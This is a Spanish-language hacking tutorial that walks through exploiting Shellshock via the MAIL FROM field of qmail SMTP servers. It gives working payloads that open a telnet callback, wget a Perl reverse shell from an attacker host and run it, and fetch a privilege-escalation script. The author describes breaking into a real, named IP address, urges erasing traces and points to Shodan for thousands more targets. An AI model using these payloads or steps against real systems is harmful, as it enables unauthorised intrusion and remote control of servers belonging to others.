Explotar Shellshock en smtp QMAIL
Como he leido mucho de shellshock y nada sobre como explotarlo, les dejo un pequeño tutorial de como explotarlo un poco más allá de los clasicos user-agent (que siendo realista muy pocos servidores utlizán cgi-scripts y menos hechos en bash).
Esto afecta a los servidores smtp de QMAIL por no validar correctamente el encabezado FROM MAIL:<> permitiendo ingresar como email cualquier string,
nosotros aprovecharemos esto para lograr ejecutar nuestro codigo arbitrario con la ayuda de shellshock.
Para el PoC use este servidor que encontré vulnerable: 200.80.35.42
Empezamos!
1) Dejamos a la escucha el puerto donde queremos recibir la conexión entrante:
nc -vv -l -p 9669
2) Nos conectamos al servidor smtp y realizamos el ataque
nc -vv 200.80.35.42 25
Entablamos toda la negociación necesaria con el servidor SMTP, esto consta de 4 pasos
.helo me (Le comunicamos al servidor que necesitamos usar su servicio)
.mail from:<direccion@gmail.com> (establecemos la dirección de email remitente) ---> ACÁ INYECTAMOS NUESTRO CODIGO SHELLSHOCK
rcpt to: <> (direccion@dominio.com) (establecemos la direccion del receptor del mensaje)
data (Comenzamos a escribir el email)
Subject: Titulo. (Establecemos el titulo del mensaje y lo terminamos con un .)
Mensaje. (Escribimos el mensaje terminado con un .)
FIN (Esperamos que se complete el proceso)
(Para mas info de SMTP visitar http://technet.microsoft.com/es-es/library/aa996114(v=exchg.65).aspx )
Bueno como mas arriba dije el error radica en que QMAIL no valida que lo ingresado en MAIL FROM sea un email
entonces en mi caso inyecto el siguiente payload shellshock:
() { :;}; /usr/bin/telnet xxxx.no-ip.org 9669
Al terminar el proceso de QMAIL deberia ejecutar el codigo arbitrario inyectado en la variable global de la función de shellshock y devolvernos una conexion entrante a nuestro puerto a la escucha
Esto significa q con un poco de conocimiento hemos logrado ejecutar codigo arbitrario en el servidor mediante un servidor vulnerable explotando un error de validación de SMTP, en este simple PoC me devolví una conexión telnet, pero podriamos jugar con los comandos para subir un reverse shell y ganar acceso al sistema, veamos como!
Esta vez vamos a ejecutar codigo arbitrario para descargarnos de nuestro servidor web un reverse shell en perl
Payload:
() { :;}; /usr/bin/wget xxx.no-ip.org:8080/rsh.perl
Esperamos un tiempo considerable para asegurarnos la descarga de nuestro script, ponemos a escuchar nuevamente nc:
Y ejecutamos nuestro archivo perl:
() { :;}; /usr/bin/perl rsh.perl xxx.no-ip.org 9669 -l
Y ahora tenemos acceso al sistema! JA! si indagamos un poco y largamos un whoami! vemos que es un kernel 2.6.
Intentemos rootearlo, yo en mi caso use un AutoRoot en perl que encontre por internet.
wget xxx.no-ip.com:8081/AutoRoot.pl
Pasemos a ver si tenemos suerte!
Ejecutamos los AutoRoot.pl y vemos q sucede (yo en mi caso moví ambos archivos a otra carpeta).
perl AutoRoot.pl y esperamos!
En este caso no hemos tenido suerte, lo que no descarta que buscando un poco podamos hacer un rooteo manual del servidor (De hecho ya lo hice)
pero eso quedará para otro tutorial! (Estoy haciendo el tutorial mientras realizo la intrusión).
No nos olvidemos de borrar todas nuestras huellas!
Y después de esto preguntaran, cuantos sitios vulnerables a shellshock existen, bueno yo me ayudé un poco de mi amigo SHODAN
35500 posibles target vulnerables solo por QMAIL SMTP!!.
Autor: HDBreaker.